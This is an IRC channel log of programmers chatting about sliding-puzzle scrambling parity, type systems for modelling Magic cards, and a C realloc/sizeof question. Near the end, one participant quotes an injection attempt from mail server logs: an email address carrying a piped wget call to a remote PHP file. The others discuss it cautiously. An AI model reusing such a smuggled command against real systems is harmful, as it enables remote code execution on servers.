< 1269994013 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ok, this scrambler is resulting in way too easy results < 1269994076 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i think sliding blocks puzzles are solvable iff the permutation is even < 1269994183 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :For a 3x3, how many clicks should I be simulating? < 1269994227 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: You wrote a BF compiler targeting LLVM? < 1269994248 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: You missed my wonderful idea for a null value < 1269994261 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: what was it? < 1269994310 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :coppro: You can't really call it a compiler, it's so utterly trivial. It's pretty much like the usual straightforward bf -> C translation, except that it's to LLVM's assembler. < 1269994324 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: like the one in the LLVM examples? < 1269994327 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm starting to think it's a bug in the code rather than a not-so-helpful randomizer < 1269994346 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: do a total scrambling, like with knuth's algorithm, but count the number of swaps done and if it is odd, do an extra one. i think. < 1269994348 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: A type system that takes intersection types up to the maximum, allowing a single value to actually have multiple types, each which is discrete and has its own data; a nullable Integer would then be a {Nil^Integer}; that is, a value of Integer or Nil type, but not both < 1269994366 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: that's what Haskell does, with Maybe < 1269994378 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: No, it's crazier than that < 1269994379 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle < 1269994393 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, it's a case of disjoint unions < 1269994398 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: it's not a case of swaps, IIRC < 1269994403 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's a case of pairs that are out-of-order < 1269994410 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but I can't remember exactly how it works < 1269994420 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :meh' < 1269994428 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Oh, there's one there? I didn't know. < 1269994453 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: examples/BrainF in the main distrubution < 1269994460 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: um i assume those are just two equivalent ways of detecting whether a permutation is odd or even < 1269994481 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: no, because you can swap a number with a blank space without problems, sometimes < 1269994501 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: the idea rose out of the fact that some structures are tough to represent accurately in code; do you know Magic: the Gathering? < 1269994508 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: erm i am assuming the blank space stays put here. i am talking about swaps of the other pieces. < 1269994533 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: yes, I do; I even played it competitively for a while < 1269994533 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think this is good enough. There is a bug stopping the randomizer from starting when the puzzle first starts < 1269994535 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'll have to sneak a peek when I don't have a cat obstructing the computer. < 1269994540 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but got bored when time spiral rotated out < 1269994606 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ah, good. Then you'll understand the thinking that led me to this. If you're representing a Magic card, not all information is applicable to all types of Magic card. For instance, only creatures have power and toughness, and only creatures have creature types, only lands have land types, and so on < 1269994628 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ok, this is "too easy" territory < 1269994635 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: that line's getting more and more blurred as time goes on, but I know what you mean < 1269994685 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Yeah, and that's the tricky bit. There are cards with multiple types, so a creature land should have both land types and creature types. It turns out this is really difficult to represent nicely in a programming language < 1269994716 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, no it isn't < 1269994718 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269994726 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :how would you do it? < 1269994726 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :object-oriented with mixins? Perl6-style, with roles? < 1269994735 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :lua-style, and just use the fields you need? < 1269994748 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1269994754 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :really, it's trivial in any sane OO system, except ones that specifically try to stop you, like Java's and Python's < 1269994774 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :those provide interfaces, but not data < 1269994792 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: those create classes; the data would be in an instantiation of those < 1269994804 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the class may or may not itself be an object, depending on the language < 1269994818 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(it wouldn't be in Perl6 or C++, it would be in Lua, JS and Feather) < 1269994825 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Stop you from doing what? < 1269994826 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1269994837 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: implementing mixins, etc < 1269994854 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ruby has mixins >.> < 1269994855 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :perl6/Moose has roles, C++ has multiple inheritance < 1269994877 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and there'll probably be some way to do that sort of thing in Feather, although single inheritance is easier there than multipl < 1269994880 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*multiple < 1269994883 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :none of that does quite what I want, it's sort of hard to express < 1269994905 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: it's powerful enough to represent a M:tG card, though, which is what you originally wanted < 1269994906 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the closest I can think of is C++'s virtual inheritance, but that's a horrible mess < 1269994924 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: A C program is powerful enough; that doesn't make it easy < 1269994944 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: powerful enough without massively distorting what you're doing, type-wise or code-wise < 1269994984 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: For instance, in C++, you'd have to have a Creature type and a Land type virtually derived from Card, and then have a CreatureLand type derived from both; this is hideous < 1269995001 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :coppro: C++ is generally hideous < 1269995007 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :agreed < 1269995024 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in Perl6, you'd have a class Card, and an instance of it with Creature and Land roles applied < 1269995057 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Perl6's roles are closest to what I want, but not quite there yet < 1269995121 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :since they exist apart from classes < 1269995141 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you can create classes with roles in too, if you want to < 1269995144 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The scramber seems to be unwilling to touch the bottom row < 1269995151 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :That's probably why these results are too easyt < 1269995154 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yes, but you can't create something that is both a role and a class < 1269995159 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but then you wouldn't be able to write fun code like "my $file_not_found = true but False;" < 1269995246 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269995303 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :true but False is like true in every respect, except for being false < 1269995306 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, you can do that in Feather too < 1269995335 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :except that you'd have to decide whether the value itself was truth or falsity < 1269995530 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What happens if I swap two random pieces an even number of times? < 1269995530 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah, my imaginary system would have such similarities < 1269995591 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :except that truthiness and falsehood would not be arole < 1269995611 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: should work < 1269995656 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Would it result in more difficult puzzles than simulating clicks n times seem to? < 1269995694 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"The invariant is the parity of permutations of all 16 squares (15 pieces plus empty square) plus the parity of the taxicab distance moved by the empty square." < 1269995728 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(should be the same for all sizes m*n with m,n>=2, by the rest of the section < 1269995731 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :) < 1269995739 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION is already lost < 1269995757 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :parity of permutations is whether you make an even or odd number of swaps < 1269995782 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the parity of the taxicab distance is whether x+y is odd or even < 1269995810 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"For the 15-puzzle, lengths of optimal solutions range from 0 to 80 moves; the 8-puzzle can be solved in 31 moves or fewer (integer sequence A087725)." < 1269995863 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Think of it as roles, except every class is a role, I think < 1269995865 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so if you were doing it by clicks, you'd need at least on the order of 31 clicks to get full difficulty, i take < 1269995896 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION tries it < 1269995929 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION listens to the Elfen Lied theme "Lilium" < 1269995988 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :31 is too many for the application to process without being able to get events. Too long without aw_wait(), and it disconnects < 1269996008 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I _think_ < 1269996034 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, I know that's the case that that can be an issue, but maybe something else is going on instead. Need to look up the error < 1269996046 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well, do a fisher-yates shuffle then < 1269996067 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh, it's doing too many things at once < 1269996079 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'll slow it down and see what happens < 1269996097 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Actually, it _still_ resulted in a too easy puzzle < 1269996119 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :maybe the 8-puzzle simply is too small to _be_ hard < 1269996144 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, hard for _me_ in particular < 1269996159 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It shouldn't be a trivial 3 or 4 clicks away < 1269996195 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if you are doing random clicks, maybe most of them are forbidden moves? < 1269996200 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so no effect < 1269996212 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :No. It's set up to do only good moves < 1269996218 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Random good moves < 1269996226 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269996233 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But there's currently nothing blocking it from clicking, then reversing what it just did < 1269996236 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I should try thatr < 1269996241 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269996717 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION also gives it some breathing room < 1269997082 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The breathing room I gave it means you can actually watch the scrambling take place < 1269997085 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION needs to go soon < 1269997520 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Quit: Leaving. < 1269997971 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION still gets occasional too-easy results < 1269998061 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION still needs to go soon, and has no time to think about it < 1269998128 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I still don't get how you'd use fisher-yates to scramble something like this. It's a 2-dimesonal list < 1269998177 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um you don't know how to treat a 2-dimensional list as 1-dimensional for scrambling purposes? < 1269998204 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :When you put it like that, I can figure it out >.> < 1269998267 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Actually, I have code that I think does that for normal lists < 1269998310 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you need to keep track of the parity though < 1269998313 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Actually, not quite < 1269998335 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, how do I do that? < 1269998386 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if you are not swapping the blank, then it's just a matter of noting whenever you swap two items < 1269998399 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(the blank needs special treatment, apparently) < 1269998423 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :g2g < 1269999439 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269999747 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1270001374 0 :augur!~augur@c-68-54-80-152.hsd1.md.comcast.net JOIN :#esoteric < 1270006789 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :freefall XD < 1270007051 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1270007210 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1270009580 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1270009663 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :X and D < 1270010889 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1270010955 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1270011408 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :someone save me < 1270011412 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I'm reading /. comments < 1270011419 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :on global warming < 1270013898 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1270013930 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1270014102 0 :gigo!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1270014208 0 :bsmntbombdood!~gavin@174-16-222-80.hlrn.qwest.net JOIN :#esoteric < 1270016340 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1270016835 0 :MigoMipo!~migomipo@84-217-0-196.tn.glocalnet.net JOIN :#esoteric < 1270016999 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270019180 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1270020005 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1270020774 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1270021874 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1270022102 0 :cal153!unknown@unknown.invalid QUIT : < 1270022399 0 :clog!unknown@unknown.invalid QUIT :ended < 1270022400 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1270022592 0 :FireFly!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270026109 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1270026714 0 :adam_d!~Adam@aasx145.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1270032181 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1270034797 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1270035341 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1270036655 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Reboot < 1270036746 0 :pineapple!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1270037249 0 :Asztal!~asztal@host86-156-103-118.range86-156.btcentralplus.com JOIN :#esoteric < 1270037906 0 :Tritonio_GR!~Tritonio@athedsl-256698.home.otenet.gr JOIN :#esoteric < 1270038201 0 :kar8nga!~kar8nga@91.35.72-86.rev.gaoland.net JOIN :#esoteric < 1270038465 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1270040403 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1270041687 0 :adam_d!~Adam@aasx145.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1270042519 0 :sebbu2!~sebbu@ADijon-152-1-6-215.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1270042730 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1270042730 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1270043939 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric : submitted 578 milliseconds ago < 1270043947 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :is that an in-joke if you happen to load the page right after a submission? < 1270043952 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it seems rather ridiculously precise < 1270044001 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1270044730 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1270044752 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, more likely just using a generic time span formatting function < 1270044763 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :maybe < 1270045541 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270047980 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1270049573 0 :adam_d!~Adam@aasx145.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1270049606 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1270049688 0 :hiato!unknown@unknown.invalid QUIT :Quit: Lightning storm < 1270049743 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1270050674 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, there? I'm having some problems understanding some C code I have written. To begin with: all C compilers seem to accept it, but a static analyser ("sparse", developed by linux kernel developers, but useful for userland apps too) complains about it. And I have to agree with it. < 1270050676 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : list = (ipList*)realloc(*me, sizeof(ipList) + sizeof(instructionPointer[(*me)->size + ALLOCCHUNKSIZE])); < 1270050678 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is the line < 1270050690 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, let me look < 1270050691 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it says "cannot size expression" < 1270050700 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and that code does seem to use sizeof() strangely < 1270050701 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :sizeof an array element looks really weird < 1270050708 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :assuming instructionPointer is an array there < 1270050720 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :why wouldn't you just write sizeof(*instructionPointer)? < 1270050724 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1270050729 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm trying to find where instructionPointer is < 1270050734 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :OTOH, that makes more sense if instructionPointer is a typedef < 1270050748 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in which case, it would be valid in C99 but not C89 < 1270050752 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, it *is* a typedef < 1270050759 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because you can take the size of a hypothetical VLA, but only if the lang supports VLAs < 1270050761 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but it still doesn't make much sense < 1270050770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aha < 1270050807 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, casting the return value of realloc just masks bugs, by getting compilers to shut up if you use the wrong type (for realloc) rather than complaining < 1270050813 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you only do it in C++ < 1270050819 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, that iplist that I realloc is a struct with a "dynamic" array element at the end < 1270050832 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(C99 introduced that) < 1270050843 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I'm still not quite sure what I'm trying to do there < 1270050846 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yep, and in C99 the flexible element counts 0 towards the size < 1270050851 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, indeed < 1270050858 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but why the sizeof of an array!? < 1270050876 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: because, the end of the struct has to be the right size < 1270050883 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1270050898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but why not sizeof type multiplied with number of elements? < 1270050923 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the C89 equivalent would be list = (ipList*)realloc(*me, sizeof ipList + ((*me)->size + ALLOCCHUNKSIZE) * sizeof (instructionPointer))); < 1270050935 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mmm < 1270050943 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :sizeof type * number of elements is probably more portable < 1270050953 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although in C89, you'd have to use the struct hack rather than relying on a flexible array member < 1270051006 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't care about C89 compat though. There are enough large-enough-subset-of-C99-at-least compilers out there < 1270051051 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :writing that line C89-style would be quite a bit /clearer/, though < 1270051057 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(gcc, icc, clang, open64 (though that one iirc reuses code from the gcc frontend), ...) < 1270051059 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hypothetical VLAs are just confusing to read < 1270051066 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1270051072 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, what about padding? < 1270051091 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: arrays aren't padded, and struct padding is taken into account in the first sizeof < 1270051097 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm true < 1270051129 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, now I wonder if, true to gcc's usual stupidity, it will in fact create and then discard such a VLA there < 1270051158 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's unlikely, it would probably be noticed by the backend even if the frontend didn't catch it < 1270051167 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hopefully < 1270051181 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :dead code elimination's impossible to do perfectly in theory, but dead variable elimination is noticed by the SSA stage < 1270051187 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and even if it wasn't, would be noticed in register allocation < 1270051202 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although, who knows what contortions gcc goes through to make VLAs work < 1270051214 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I think they are done with alloca() < 1270051215 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc < 1270051233 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, alloca and VLAs work differently to each other < 1270051240 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in fact, there's a big warning that they don't mix somewher < 1270051243 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*somewhere < 1270051258 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as they both use different notions of scope, and processors don't have the INTERCAL thing where scopes are pretty much independent < 1270051347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1270051568 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm it seems sparse dislike VLAs completely < 1270051640 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if it's designed for the kernel, I'm not surprised < 1270051657 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, It used to not error out on them though < 1270051667 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1270051673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ACTION finds it funny that it warns about using 0 as NULL < 1270051739 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I like the unadorned 0s more than NULL personally. < 1270051791 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I actually prefer using NULL (makes it clear it is a pointer, easier to read the code), but I'm not going to change this instance since it is in output generated by gperf < 1270051905 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah, it warns "warning: potentially expensive pointer subtraction" when you substract two pointers if the types of those pointers are not a power of two < 1270051962 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And yes, I'd write count*sizeof(element) up there, that's the usual thing in array-mallocs and so on. < 1270052018 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1270052067 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1270052077 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Recently seen in mailserver logs: someone tried to send email to "root+:|wget http://fortunes.in/x1x.php@zem.fi". < 1270052136 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uhu < 1270052145 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :+:| ? < 1270052177 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :looks like a weird smiley. What sort of special meanings could those be thought to have? < 1270052213 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :+ is reasonably common as user+ext@domain, to let users create "sub-addresses" freely. < 1270052237 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and the : ? < 1270052267 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And of course |foo runs foo in a shell in quite many contexts. The : I'm not sure of. < 1270052287 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1270052313 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'm sure it does something special somewhere, though, otherwise they wouldn't bother trying. < 1270052322 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1270052334 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, sure it didn't work on your system? ;) < 1270052384 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Postfix logs at least just had an "invalid address extension" error message. < 1270052578 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1270052787 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :What it is even trying to pipe to wget? Presumably it intends to upload something sensitive (or clog something with pipe)... < 1270052877 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or download something? < 1270052898 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :What does wget even do with stdin? < 1270052957 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :maybe there isn't a way to do whatever it is without piping? Or the | doesn't mean pipe in this case < 1270052968 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, maybe it is trying to download x1x.php... < 1270053003 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't recommend doing it, who knows what it is < 1270053077 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Maybe try grabbing that file for analysis? < 1270053079 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1270053157 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Ilari, I'm not very interested in it really, and I don't want to run into problems if it is, for example, exploiting a bug in wget. < 1270053179 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and I don't have any virtual machines handy atm < 1270053204 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Use telnet to send request and record the stream? < 1270053257 0 